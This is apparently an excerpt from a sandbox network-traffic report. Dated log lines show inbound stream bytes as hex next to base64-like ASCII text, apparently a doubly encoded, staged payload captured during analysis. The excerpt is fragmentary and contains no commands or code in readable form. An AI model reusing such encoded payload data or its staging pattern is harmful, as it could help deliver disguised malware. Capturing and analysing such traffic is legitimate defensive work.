42 00 51 00 55 00 4a 00 7a 00 64 00 30 00 46 00 52 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 Data Ascii: FSNENLR0lBQUFvcXdnSW9ZZ0FBQ2dJb2JRQUFDbktCQXdCd2NzOERBSEIrSGdBQUNpZ2ZBQUFLS0RrQUFBb28yQUFBQm4wQkFBQUVLZ0FBQUJzd0FRQVFBQUFBQUFBQ
2021-11-09 21:22:01 UTC	1385	IN	Data Raw: 63 00 76 00 4d 00 45 00 46 00 52 00 51 00 55 00 64 00 4c 00 5a 00 31 00 6c 00 78 00 52 00 58 00 70 00 42 00 53 00 45 00 46 00 45 00 4f 00 45 00 46 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 55 00 6d 00 4e 00 6e 00 56 00 55 00 5a 00 42 00 53 00 45 00 46 00 76 00 59 00 6d 00 64 00 42 00 51 00 55 00 4e 00 6e 00 53 00 30 00 39 00 68 00 55 00 6e 00 52 00 61 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 42 00 61 00 48 00 4e 00 48 00 52 00 6d 00 64 00 4c 00 54 00 32 00 46 00 53 00 64 00 46 00 70 00 4c 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00 76 00 52 00 30 00 5a 00 6f 00 55 00 57 00 39 00 4b 00 64 00 30 00 46 00 42 00 51 00 6d 00 64 00 7a 00 62 00 45 00 45 00 79 00 4f 00 58 00 64 00 42 00 51 00 55 00 46 00 4c 00 51 00 6e Data Ascii: cvMEFRQUdLZ1lxRXpBSEFEOEFBQUFRQUFBUmNnVUZBSEFvYmdBQUNnS09hUnRaaldnQUFBRUtBaHNHRmdLT2FSdFpLRzhBQUFvR0ZoUW9Kd0FBQmdzbEEyOXdBQUFLQn
2021-11-09 21:22:01 UTC	1386	IN	Data Raw: 00 50 00 59 00 56 00 46 00 72 00 53 00 6d 00 70 00 74 00 61 00 31 00 4e 00 43 00 65 00 46 00 6c 00 76 00 52 00 30 00 46 00 42 00 51 00 55 00 4a 00 70 00 56 00 57 00 64 00 42 00 63 00 55 00 46 00 42 00 64 00 30 00 52 00 4e 00 52 00 32 00 4d 00 7a 00 52 00 55 00 46 00 42 00 51 00 58 00 41 00 32 00 54 00 45 00 46 00 61 00 65 00 6d 00 4e 00 52 00 51 00 55 00 46 00 44 00 62 00 6e 00 4a 00 6c 00 52 00 47 00 68 00 4a 00 52 00 69 00 39 00 6f 00 57 00 54 00 4a 00 42 00 51 00 55 00 46 00 44 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4e 00 42 00 5a 00 32 00 4e 00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 4a 00 70 00 57 00 55 00 6c 00 4c 00 53 00 45 00 6c 00 42 00 51 00 55 00 46 00 76 00 51 00 30 00 4a 00 6f 00 57 00 57 00 39 00 47 00 64 00 30 00 Data Ascii: PYVFrSmpta1NCeFlvR0FBQUJpVWdBcUFBd0RNR2MzRUFBQXA2TEFaemNRQUFDbnJlRGhJRi9oWTJBQUFDYndzQUFBcmNBZ2NvR1FBQUJpWUlLSElBQUFvQ0JoWW9Gd0
2021-11-09 21:22:01 UTC	1388	IN	Data Raw: 42 00 51 00 55 00 46 00 58 00 51 00 55 00 46 00 42 00 55 00 6b 00 5a 00 6e 00 62 00 30 00 4e 00 42 00 64 00 31 00 46 00 56 00 52 00 6d 00 68 00 4a 00 51 00 55 00 5a 00 70 00 5a 00 32 00 46 00 42 00 51 00 55 00 46 00 48 00 51 00 33 00 64 00 6a 00 63 00 30 00 5a 00 75 00 53 00 6c 00 52 00 43 00 5a 00 30 00 4a 00 33 00 51 00 6a 00 52 00 34 00 64 00 45 00 46 00 42 00 51 00 55 00 4a 00 4c 00 52 00 6b 00 31 00 42 00 51 00 55 00 46 00 77 00 65 00 6d 00 56 00 42 00 51 00 55 00 46 00 44 00 62 00 6d 00 39 00 48 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 31 00 42 00 5a 00 30 00 31 00 46 00 51 00 30 00 46 00 70 00 54 00 32 00 46 00 53 00 53 00 55 00 46 00 47 00 61 00 57 00 64 00 68 00 51 00 55 00 46 00 42 00 52 00 30 00 4e 00 33 00 59 00 33 00 4e Data Ascii: BQUFXQUFBUkZnb0NBd1FVRmhJQUZpZ2FBQUFHQ3djc0ZuSlRCZ0J3QjR4dEFBQUJLRk1BQUFwemVBQUFDbm9HaldnQUFBRU1BZ01FQ0FpT2FSSUFGaWdhQUFBR0N3Y3N
2021-11-09 21:22:01 UTC	1389	IN	Data Raw: 00 62 00 31 00 52 00 4e 00 51 00 55 00 31 00 42 00 64 00 6c 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 6b 00 59 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 6e 00 62 00 31 00 64 00 44 00 65 00 6d 00 6c 00 70 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 5a 00 48 00 5a 00 6d 00 5a 00 30 00 46 00 42 00 51 00 32 00 6c 00 56 00 5a 00 6b 00 51 00 78 00 4f 00 45 00 31 00 48 00 62 00 55 00 31 00 6d 00 52 00 44 00 45 00 34 00 54 00 6b 00 4e 00 53 00 4f 00 45 00 70 00 4e 00 55 00 6a 00 68 00 48 00 51 00 31 00 49 00 34 00 53 00 31 00 64 00 53 00 4f 00 55 00 4a 00 58 00 54 00 6b 00 56 00 55 00 51 00 6b 00 4a 00 4a 00 52 00 55 00 74 00 49 00 4f 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 5a 00 30 00 46 00 42 00 51 00 55 00 4e 00 Data Ascii: b1RNQU1BdlFBQUFCZ0FBQkYrSGdBQUNnb1dDemlpQUFBQUFnZHZmZ0FBQ2lVZkQxOE1HbU1mRDE4TkNSOEpNUjhHQ1I4S1dSOUJXTkVUQkJJRUtIOEFBQW9vZ0FBQUN
2021-11-09 21:22:01 UTC	1390	IN	Data Raw: 51 00 55 00 46 00 42 00 62 00 33 00 46 00 48 00 65 00 6b 00 46 00 46 00 51 00 55 00 6f 00 34 00 51 00 55 00 46 00 42 00 51 00 57 00 46 00 42 00 51 00 55 00 46 00 53 00 53 00 30 00 35 00 7a 00 51 00 55 00 46 00 42 00 57 00 6e 00 6c 00 54 00 5a 00 32 00 4e 00 42 00 59 00 30 00 46 00 4f 00 65 00 56 00 6c 00 42 00 59 00 30 00 46 00 6a 00 51 00 32 00 68 00 6d 00 51 00 55 00 46 00 42 00 53 00 32 00 4d 00 30 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 35 00 57 00 6b 00 46 00 6a 00 51 00 57 00 4e 00 44 00 61 00 55 00 70 00 42 00 51 00 55 00 46 00 4c 00 52 00 6d 00 38 00 78 00 4e 00 45 00 46 00 42 00 51 00 55 00 4a 00 6a 00 4e 00 47 00 39 00 42 00 51 00 55 00 46 00 77 00 65 00 6d 00 6c 00 33 00 51 00 55 00 46 00 44 00 61 00 56 00 5a 00 32 00 61 00 6b 00 46 00 42 Data Ascii: QUFBb3FHekFFQUo4QUFBQWFBQUFSS05zQUFBWnlTZ2NBY0FOeVlBY0FjQ2hmQUFBS2M0Z0FBQXB5WkFjQWNDaUpBQUFLRm8xNEFBQUJjNG9BQUFweml3QUFDaVZ2akFB
2021-11-09 21:22:01 UTC	1392	IN	Data Raw: 00 56 00 46 00 42 00 52 00 30 00 4e 00 30 00 4e 00 45 00 5a 00 4b 00 61 00 46 00 6c 00 4c 00 4d 00 32 00 64 00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 45 00 64 00 30 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00 5a 00 30 00 46 00 58 00 51 00 55 00 46 00 42 00 51 00 55 00 68 00 42 00 51 00 55 00 46 00 46 00 55 00 55 00 6f 00 33 00 51 00 57 00 64 00 42 00 51 00 55 00 4a 00 42 00 54 00 6e 00 5a 00 43 00 5a 00 30 00 56 00 42 00 51 00 6d 00 64 00 79 00 5a 00 55 00 4a 00 54 00 57 00 56 00 64 00 44 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 Data Ascii: VFBR0N0NEZKaFlLM2dBR0tnQUFBUkFBQUFBQUFBQVBEd0FGRHdBQUFSc3dBZ0FXQUFBQUhBQUFFUUo3QWdBQUJBTnZCZ0VBQmdyZUJTWVdDdDRBQmlvQUFBRVFBQUFB
2021-11-09 21:22:01 UTC	1393	IN	Data Raw: 55 00 46 00 42 00 52 00 48 00 63 00 34 00 51 00 55 00 4a 00 52 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 4a 00 51 00 55 00 5a 00 6e 00 51 00 55 00 46 00 42 00 51 00 6e 00 64 00 42 00 51 00 55 00 4a 00 46 00 51 00 32 00 56 00 33 00 53 00 55 00 46 00 42 00 51 00 56 00 46 00 45 00 59 00 6e 00 63 00 30 00 51 00 6b 00 46 00 42 00 57 00 55 00 73 00 7a 00 5a 00 31 00 56 00 74 00 52 00 6d 00 64 00 79 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 42 00 51 00 55 00 46 00 43 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 51 00 51 00 55 00 46 00 56 00 55 00 45 00 46 00 42 00 51 00 55 00 4a 00 48 00 65 00 6b 00 46 00 44 00 51 00 55 00 4a 00 5a 00 51 00 55 00 46 00 42 00 51 00 57 00 4e 00 42 00 51 Data Ascii: UFBRHc4QUJROEFBQUViTUFJQUZnQUFBQndBQUJFQ2V3SUFBQVFEYnc0QkFBWUszZ1VtRmdyZUFBWXFBQUFCRUFBQUFBQUFBQThQQUFVUEFBQUJHekFDQUJZQUFBQWNBQ
2021-11-09 21:22:01 UTC	1394	IN	Data Raw: 00 4a 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 55 00 45 00 79 00 4f 00 46 00 42 00 42 00 55 00 55 00 46 00 48 00 51 00 33 00 51 00 30 00 52 00 6b 00 70 00 6f 00 57 00 55 00 73 00 7a 00 5a 00 30 00 46 00 48 00 53 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 55 00 45 00 52 00 33 00 51 00 55 00 5a 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 46 00 6e 00 51 00 56 00 64 00 42 00 51 00 55 00 46 00 42 00 53 00 45 00 46 00 42 00 51 00 55 00 56 00 52 00 53 00 6a 00 64 00 42 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4f 00 64 00 6b 00 56 00 52 00 52 00 55 00 46 00 43 00 5a 00 33 00 4a 00 6c 00 51 00 6c 00 4e 00 5a 00 56 00 30 00 4e 00 30 00 4e 00 Data Ascii: JBbnNDQUFBRUEyOFBBUUFHQ3Q0RkpoWUszZ0FHS2dBQUFSQUFBQUFBQUFBUER3QUZEd0FBQVJzd0FnQVdBQUFBSEFBQUVRSjdBZ0FBQkFOdkVRRUFCZ3JlQlNZV0N0N
2021-11-09 21:22:01 UTC	1398	IN	Data Raw: 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 50 00 51 00 6b 00 46 00 42 00 51 00 55 00 64 00 76 00 61 00 56 00 56 00 6d 00 51 00 31 00 4a 00 55 00 4b 00 30 00 4a 00 74 00 53 00 55 00 46 00 42 00 51 00 56 00 70 00 36 00 5a 00 31 00 46 00 42 00 51 00 55 00 4a 00 78 00 53 00 57 00 78 00 49 00 64 00 32 00 39 00 56 00 4c 00 32 00 64 00 61 00 61 00 6b 00 46 00 42 00 51 00 55 00 64 00 6a 00 4e 00 45 00 56 00 42 00 51 00 55 00 46 00 68 00 61 00 55 00 70 00 53 00 4f 00 45 00 78 00 47 00 55 00 44 00 52 00 48 00 57 00 6b 00 46 00 42 00 51 00 55 00 4a 00 75 00 54 00 30 00 4a 00 42 00 51 00 55 00 46 00 48 00 62 00 32 00 6c 00 56 00 5a 00 6b 00 52 00 43 00 56 00 43 00 74 00 43 00 62 00 56 00 56 00 42 00 51 00 55 00 46 00 61 00 65 00 6d 00 64 00 52 00 51 00 55 00 46 00 43 Data Ascii: UUFBQm5PQkFBQUdvaVVmQ1JUK0JtSUFBQVp6Z1FBQUJxSWxId29VL2daakFBQUdjNEVBQUFhaUpSOExGUDRHWkFBQUJuT0JBQUFHb2lVZkRCVCtCbVVBQUFaemdRQUFC
2021-11-09 21:22:01 UTC	1403	IN	Data Raw: 00 58 00 52 00 6d 00 68 00 52 00 62 00 33 00 5a 00 42 00 51 00 55 00 46 00 44 00 63 00 55 00 6c 00 76 00 64 00 6c 00 46 00 42 00 51 00 55 00 4e 00 70 00 61 00 53 00 74 00 42 00 51 00 55 00 46 00 4c 00 5a 00 30 00 46 00 5a 00 51 00 6b 00 46 00 42 00 55 00 69 00 74 00 43 00 5a 00 30 00 56 00 42 00 51 00 6b 00 68 00 31 00 4c 00 30 00 46 00 42 00 51 00 55 00 74 00 6d 00 5a 00 31 00 6c 00 43 00 51 00 55 00 46 00 52 00 62 00 7a 00 42 00 6e 00 51 00 55 00 46 00 43 00 62 00 53 00 39 00 42 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 34 00 52 00 55 00 46 00 42 00 51 00 57 00 39 00 76 00 64 00 58 00 64 00 46 00 51 00 55 00 4a 00 70 00 63 00 45 00 64 00 43 00 51 00 32 00 70 00 44 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 34 00 54 00 55 00 46 00 42 00 51 00 57 00 Data Ascii: XRmhRb3ZBQUFDcUlvdlFBQUNpaStBQUFLZ0FZQkFBUitCZ0VBQkh1L0FBQUtmZ1lCQUFRbzBnQUFCbS9BQUFBS2I4RUFBQW9vdXdFQUJpcEdCQ2pDQUFBS2I4TUFBQW
2021-11-09 21:22:01 UTC	1404	IN	Data Raw: 55 00 31 00 33 00 5a 00 30 00 4e 00 42 00 64 00 31 00 46 00 76 00 56 00 30 00 46 00 42 00 51 00 55 00 4a 00 6f 00 61 00 33 00 70 00 43 00 62 00 6b 00 39 00 79 00 51 00 55 00 46 00 42 00 53 00 32 00 56 00 70 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 6a 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 43 00 52 00 55 00 46 00 49 00 51 00 7a 00 42 00 42 00 52 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 52 00 56 00 6c 00 42 00 53 00 45 00 64 00 4a 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 57 00 6c 00 71 00 5a 00 55 00 46 00 42 00 51 00 55 00 64 00 69 00 65 00 6e 00 4e 00 42 00 51 00 55 00 46 00 5a 00 62 00 45 00 64 00 45 00 54 00 55 00 6c 00 42 00 5a 00 30 00 31 00 46 00 53 00 30 00 5a 00 72 00 51 Data Ascii: U13Z0NBd1FvV0FBQUJoa3pCbk9yQUFBS2Vpb0FBQUVjQUFBQ0FCRUFIQzBBRGdBQUFBQUNBRVlBSEdJQURnQUFBQUNHQWlqZUFBQUdienNBQUFZbEdETUlBZ01FS0ZrQ
2021-11-09 21:22:01 UTC	1408	IN	Data Raw: 00 51 00 55 00 64 00 6a 00 4e 00 45 00 56 00 42 00 51 00 55 00 46 00 68 00 61 00 55 00 74 00 4a 00 5a 00 30 00 46 00 42 00 51 00 56 00 6c 00 48 00 59 00 7a 00 5a 00 52 00 51 00 55 00 46 00 42 00 63 00 44 00 6c 00 44 00 51 00 55 00 56 00 42 00 51 00 6b 00 4e 00 70 00 52 00 6b 00 46 00 42 00 51 00 55 00 64 00 43 00 64 00 6a 00 52 00 48 00 51 00 6d 00 64 00 4a 00 51 00 55 00 4a 00 75 00 54 00 32 00 78 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 4a 00 42 00 51 00 55 00 46 00 44 00 63 00 32 00 39 00 46 00 55 00 55 00 46 00 42 00 53 00 33 00 6c 00 70 00 52 00 30 00 46 00 42 00 51 00 55 00 64 00 4c 00 53 00 57 00 4e 00 42 00 51 00 55 00 46 00 5a 00 52 00 79 00 39 00 6e 00 57 00 55 00 68 00 42 00 5a 00 30 00 46 00 48 00 59 00 7a 00 5a 00 56 00 51 00 55 00 46 00 Data Ascii: QUdjNEVBQUFhaUtJZ0FBQVlHYzZRQUFBcDlDQUVBQkNpRkFBQUdCdjRHQmdJQUJuT2xBQUFLS0JBQUFDc29FUUFBS3lpR0FBQUdLSWNBQUFZRy9nWUhBZ0FHYzZVQUF
2021-11-09 21:22:01 UTC	1412	IN	Data Raw: 4a 00 4b 00 5a 00 45 00 4e 00 6d 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 74 00 4b 00 30 00 39 00 42 00 55 00 55 00 46 00 48 00 52 00 56 00 46 00 52 00 57 00 47 00 49 00 31 00 53 00 55 00 4a 00 42 00 51 00 56 00 6c 00 53 00 51 00 6b 00 4e 00 71 00 62 00 45 00 46 00 42 00 51 00 55 00 64 00 69 00 4e 00 55 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 48 00 4c 00 30 00 64 00 42 00 51 00 55 00 46 00 4c 00 51 00 6b 00 4e 00 70 00 4f 00 45 00 46 00 52 00 51 00 55 00 64 00 43 00 62 00 54 00 6b 00 78 00 51 00 56 00 46 00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 42 00 55 00 6e 00 64 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 56 00 52 00 51 00 57 Data Ascii: JKZENmQUFBRUtEY0FBQXB6T0FBQUNtK09BUUFHRVFRWGI1SUJBQVlSQkNqbEFBQUdiNUFCQUFZUkJHL0dBQUFLQkNpOEFRQUdCbTkxQVFBR0tnQUFBUndBQUFJQUVRQW
2021-11-09 21:22:01 UTC	1416	IN	Data Raw: 00 55 00 46 00 42 00 51 00 6d 00 30 00 76 00 54 00 6b 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 31 00 45 00 30 00 62 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 52 00 55 00 56 00 69 00 4f 00 44 00 52 00 42 00 51 00 55 00 46 00 76 00 56 00 45 00 4a 00 53 00 52 00 55 00 5a 00 69 00 4b 00 7a 00 68 00 42 00 51 00 55 00 46 00 61 00 65 00 6c 00 70 00 42 00 51 00 55 00 46 00 44 00 61 00 45 00 56 00 47 00 59 00 69 00 39 00 46 00 51 00 55 00 46 00 42 00 57 00 56 00 4a 00 43 00 56 00 79 00 39 00 36 00 51 00 55 00 46 00 42 00 52 00 30 00 78 00 52 00 54 00 56 00 64 00 4c 00 64 00 30 00 56 00 59 00 53 00 30 00 30 00 34 00 51 00 55 00 46 00 42 00 62 00 31 00 52 00 43 00 61 00 46 00 6c 00 55 00 51 00 6e 00 6c 00 30 00 56 00 30 00 56 00 52 00 57 00 56 00 4a 00 43 00 Data Ascii: UFBQm0vTkFBQUtFd1E0bUFBQUFCRUViODRBQUFvVEJSRUZiKzhBQUFaelpBQUFDaEVGYi9FQUFBWVJCVy96QUFBR0xRTVdLd0VYS004QUFBb1RCaFlUQnl0V0VRWVJC
2021-11-09 21:22:01 UTC	1420	IN	Data Raw: 42 00 51 00 55 00 46 00 46 00 62 00 45 00 5a 00 6f 00 4f 00 44 00 5a 00 75 00 55 00 31 00 56 00 59 00 53 00 44 00 46 00 35 00 5a 00 47 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 46 00 70 00 52 00 6a 00 49 00 35 00 54 00 30 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 7a 00 68 00 48 00 52 00 56 00 45 00 31 00 64 00 6b 00 70 00 42 00 51 00 55 00 46 00 44 00 62 00 6b 00 39 00 6a 00 51 00 56 00 46 00 42 00 52 00 30 00 70 00 53 00 52 00 56 00 42 00 4d 00 51 00 57 00 4e 00 53 00 52 00 44 00 51 00 31 00 63 00 45 00 5a 00 36 00 51 00 55 00 68 00 6d 00 61 00 44 00 52 00 42 00 51 00 55 00 46 00 76 00 63 00 6b 00 4a 00 43 00 52 00 56 00 42 00 47 00 4e 00 58 00 42 00 32 00 63 00 45 00 46 00 46 00 51 00 55 00 4a 00 70 00 56 00 56 00 4a 00 45 00 56 00 79 00 74 Data Ascii: BQUFFbEZoODZuU1VYSDF5ZGN6Z0FBQXFpRjI5T0FBQUtFdzhHRVE1dkpBQUFDbk9jQVFBR0pSRVBMQWNSRDQ1cEZ6QUhmaDRBQUFvckJCRVBGNXB2cEFFQUJpVVJEVyt
2021-11-09 21:22:01 UTC	1424	IN	Data Raw: 00 46 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 00 51 00 55 00 4e 00 78 00 53 00 57 00 38 00 32 00 51 00 55 00 46 00 42 00 51 00 6d 00 30 00 76 00 5a 00 45 00 46 00 42 00 51 00 55 00 74 00 43 00 65 00 44 00 68 00 6a 00 53 00 30 00 5a 00 4a 00 51 00 55 00 46 00 42 00 62 00 31 00 6c 00 47 00 65 00 47 00 6c 00 4f 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 54 00 56 00 56 00 64 00 49 00 65 00 45 00 39 00 4f 00 56 00 32 00 64 00 42 00 51 00 55 00 46 00 54 00 57 00 46 00 45 00 78 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 6e 00 4d 00 30 00 46 00 42 00 51 00 55 00 74 00 6a 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 77 00 65 00 57 00 6c 00 6e 00 5a 00 30 00 46 00 6a 00 53 00 44 00 52 00 6c 00 51 00 Data Ascii: FCd2ZoNEFBQW9vSHdBQUNxSW82QUFBQm0vZEFBQUtCeDhjS0ZJQUFBb1lGeGlOV0FBQUFTVVdIeE9OV2dBQUFTWFExQUFBQkNnM0FBQUtjemdBQUFweWlnZ0FjSDRlQ
2021-11-09 21:22:01 UTC	1428	IN	Data Raw: 65 00 58 00 46 00 42 00 5a 00 30 00 46 00 6a 00 53 00 30 00 6c 00 73 00 52 00 30 00 4a 00 46 00 52 00 32 00 39 00 70 00 56 00 56 00 70 00 6a 00 63 00 57 00 64 00 4a 00 51 00 55 00 68 00 44 00 61 00 55 00 70 00 53 00 62 00 31 00 4e 00 44 00 55 00 32 00 70 00 74 00 51 00 55 00 46 00 42 00 53 00 32 00 39 00 70 00 61 00 6d 00 35 00 42 00 51 00 55 00 46 00 4c 00 59 00 69 00 73 00 30 00 51 00 55 00 46 00 42 00 57 00 56 00 4a 00 44 00 61 00 46 00 70 00 32 00 4f 00 55 00 46 00 42 00 51 00 55 00 4a 00 6f 00 52 00 55 00 74 00 46 00 55 00 56 00 46 00 6d 00 52 00 30 00 6b 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 52 00 30 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 Data Ascii: eXFBZ0FjS0lsR0JFR29pVVpjcWdJQUhDaUpSb1NDU2ptQUFBS29pam5BQUFLYis0QUFBWVJDaFp2OUFBQUJoRUtFUVFmR0kxYUFBQUJKZER0QUFBRUtEY0FBQXB6T0FB
2021-11-09 21:22:01 UTC	1432	IN	Data Raw: 00 5a 00 4e 00 58 00 42 00 4e 00 63 00 45 00 68 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 42 00 52 00 55 00 5a 00 4e 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 55 00 55 00 55 00 46 00 42 00 51 00 55 00 4a 00 76 00 51 00 6b 00 46 00 42 00 51 00 6d 00 35 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 44 00 51 00 55 00 46 00 42 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 47 00 64 00 43 00 51 00 55 00 46 00 43 00 4e 00 45 00 46 00 52 00 51 00 55 00 46 00 45 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 42 00 51 00 55 00 Data Ascii: ZNXBNcEhlQXliZUFBWXFBRUZNQUFBQUFBQUFUUUFBQUJvQkFBQm5BUUFBQXdBQUFBOEFBQUVDQUFBQVFBQUFBRGdCQUFCNEFRQUFEZ0FBQUFBQUFBQUFBQUFBQmdBQU
2021-11-09 21:22:01 UTC	1436	IN	Data Raw: 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 59 00 34 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 50 00 55 00 55 00 46 00 42 00 51 00 32 00 30 00 76 00 64 00 30 00 46 00 42 00 51 00 55 00 64 00 43 00 4d 00 30 00 70 00 4c 00 51 00 31 00 46 00 43 00 64 00 30 00 74 00 43 00 5a 00 30 00 46 00 42 00 51 00 33 00 4e 00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 59 00 69 00 39 00 4a 00 51 00 55 00 46 00 42 00 57 00 55 00 68 00 47 00 62 00 53 00 38 00 77 00 51 00 55 00 46 00 42 00 52 00 30 00 49 00 79 00 4c 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 51 00 55 00 64 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 55 Data Ascii: UNuTTRBQUFLS0Y4QUFBb29PUUFBQ20vd0FBQUdCM0pLQ1FCd0tCZ0FBQ3NvR1FBQUszTTRBQUFLYi9JQUFBWUhGbS8wQUFBR0IyL2ZBQUFLM2dNbTNnQUdLZ0FBQUFFU
2021-11-09 21:22:01 UTC	1440	IN	Data Raw: 00 4f 00 45 00 31 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 51 00 53 00 55 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 63 00 30 00 51 00 55 00 46 00 42 00 62 00 30 00 4e 00 6c 00 65 00 45 00 46 00 42 00 51 00 55 00 46 00 52 00 55 00 6b 00 4a 00 6f 00 52 00 55 00 70 00 58 00 51 00 6b 00 56 00 50 00 59 00 57 00 78 00 6f 00 63 00 45 00 56 00 52 00 62 00 31 00 4a 00 45 00 4e 00 44 00 68 00 31 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 35 00 55 00 55 00 46 00 42 00 51 00 56 00 4a 00 77 00 59 00 69 00 39 00 4a 00 51 00 55 00 46 00 42 00 63 00 57 00 6c 00 50 00 52 00 45 00 56 00 43 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 Data Ascii: OE1qVm9BQUFFbDBQSUFBQVFvTndBQUNuTTRBQUFLS0c0QUFBb0NleEFBQUFRUkJoRUpXQkVPYWxocEVRb1JENDh1QUFBQ2V5UUFBQVJwYi9JQUFBcWlPREVCQUFBQ2V
2021-11-09 21:22:01 UTC	1444	IN	Data Raw: 6c 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 6c 00 6f 00 64 00 55 00 46 00 42 00 51 00 55 00 74 00 42 00 62 00 6e 00 4e 00 52 00 51 00 55 00 46 00 42 00 52 00 55 00 56 00 52 00 62 00 31 00 4a 00 45 00 56 00 6d 00 64 00 53 00 52 00 47 00 68 00 68 00 56 00 31 00 64 00 48 00 61 00 31 00 4a 00 45 00 61 00 47 00 56 00 58 00 59 00 56 00 63 00 76 00 65 00 55 00 46 00 42 00 51 00 55 00 74 00 6d 00 55 00 31 00 6c 00 42 00 51 00 55 00 46 00 52 00 4e 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6f 00 33 00 52 00 48 00 64 00 42 00 51 00 55 00 4a 00 43 00 61 00 48 00 46 00 4e 00 65 00 6d 00 4e 00 44 00 5a 00 58 00 68 00 4e 00 51 00 55 00 46 00 42 00 55 00 55 Data Ascii: lBQUFFS0RjQUFBcHpPQUFBQ2lodUFBQUtBbnNRQUFBRUVRb1JEVmdSRGhhV1dHa1JEaGVXYVcveUFBQUtmU1lBQUFRNGdBQUFBQUo3RHdBQUJCaHFNemNDZXhNQUFBUU
